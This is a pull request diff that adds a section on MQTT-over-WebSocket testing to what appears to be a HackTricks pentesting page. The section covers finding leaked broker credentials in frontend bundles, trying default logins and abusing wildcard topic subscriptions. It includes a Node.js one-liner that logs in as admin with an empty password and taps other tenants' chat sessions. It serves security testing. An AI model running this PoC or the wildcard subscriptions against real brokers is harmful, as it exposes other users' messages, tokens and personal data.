Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
82 changes: 82 additions & 0 deletions src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md
Original file line number Diff line number Diff line change
Expand Up @@ -148,6 +148,86 @@ mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'
```


## MQTT over WebSocket in web applications

Do not assume MQTT is only exposed on `1883/8883`. Browser-based chat widgets, dashboards, and IoT portals frequently talk to the broker through **WebSockets** (`ws://` / `wss://`) on app-specific paths such as `/mqtt` or `/ws` (RabbitMQ commonly uses `15675/ws`).

### Frontend recon for MQTT endpoints and credentials

When testing a website that embeds a real-time widget, review:

- **HTML source** and framework bootstrapping objects (`window.__INITIAL_STATE__`, `drupalSettings`, `__NEXT_DATA__`, etc.)
- Public runtime config files such as `env.js`, `env_app.js`, `config.js`, `settings.json`
- `asset-manifest.json` / chunk manifests to find the main JavaScript bundle
- Minified bundles for `mqtt`, `broker`, `topic`, `clientId`, `username`, `password`, `token`, `wss://`, `/mqtt`, `/ws`

These files often leak:

- Broker hostnames and non-standard ports
- MQTT-over-WebSocket paths
- Hardcoded usernames/passwords or bearer tokens
- Client IDs and topic naming conventions
- Fallback/default credentials used when environment variables are unset

Example findings to look for:

```javascript
apiUrl: 'https://chat-backend.example.com:8081/custom?token=...'
REACT_APP_CWC_MQTT_URL: 'wss://chat-backend.example.com:8081/mqtt'
CWC_CONNECTION_USERNAME: 'cwc_user'
CWC_CONNECTION_PASSWORD: '...'
username: 'admin'
password: 'admin'
```

If the bundle shows fallback authentication logic, always test weaker variants too (`admin/admin`, `admin:` with empty password, reused API tokens, anonymous login).

### Wildcard topic subscription abuse in chat/session systems

Per-user chat systems often isolate conversations only by topic name, for example:

```text
client/<session-id>/chat_session
```

That is safe **only** if the broker enforces **topic ACLs** for the authenticated principal. Remember:

- `+` matches **exactly one** topic level
- `#` matches **the rest** of the topic tree

Therefore, once you know the topic shape, test whether a low-privileged account can subscribe to broader filters such as:

```text
client/+/chat_session
client/#
```

If this works, one session channel becomes a **cross-tenant message tap**. This is especially relevant in support chat, telemetry, and IoT multi-tenant deployments where the only separator is a customer/session/device identifier embedded in the topic.

### Quick WebSocket MQTT PoC

If you only have a browser-facing `wss://` endpoint, a quick way to validate impact is with the Node.js [`mqtt`](https://www.npmjs.com/package/mqtt) client:

```bash
npm install mqtt
node -e "const c=require('mqtt').connect('wss://target:8081/mqtt',{username:'admin',password:'',rejectUnauthorized:false});c.on('connect',()=>{console.log('CONNECTED');c.subscribe('client/+/chat_session',{qos:0},()=>console.log('SUBSCRIBED'))});c.on('message',(t,m)=>console.log(t+': '+m.toString()));setTimeout(()=>process.exit(),60000)"
```

Notes:

- `rejectUnauthorized:false` is only a **testing workaround** for bad/self-signed TLS; it is **not** the vulnerability.
- Start with the exact topic you recovered from the frontend and then broaden it with `+` / `#`.
- Watch for JWTs, session IDs, PII, admin events, and historical chat payloads.

### What to verify once connected

- Can you subscribe to **other tenants'** topics?
- Can you **publish** into another user's/device's topic?
- Are there **admin/debug** topics leaking credentials, tokens, or provisioning data?
- Do wildcard subscriptions work for both **SUBSCRIBE** and **retained** messages?
- Does the broker expose the same auth material over both HTTP config files and MQTT/WebSocket login?

## Shodan

- `port:1883 MQTT`
Expand All @@ -156,5 +236,7 @@ mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
## References

- [How a $20 Smart Device Gave Me Access to Your Home](https://bishopfox.com/blog/how-a-20-smart-device-gave-me-access-to-your-home)
- [How I Hacked a Live Chatbot and Earned My First $$$$ (4-Digit) Bounty](https://medium.com/@lazysharaf/how-i-hacked-a-live-chatbot-and-earned-my-first-4-digit-bounty-5c43c8891741)
- [RabbitMQ Web MQTT Plugin](https://www.rabbitmq.com/docs/next/web-mqtt)

{{#include ../banners/hacktricks-training.md}}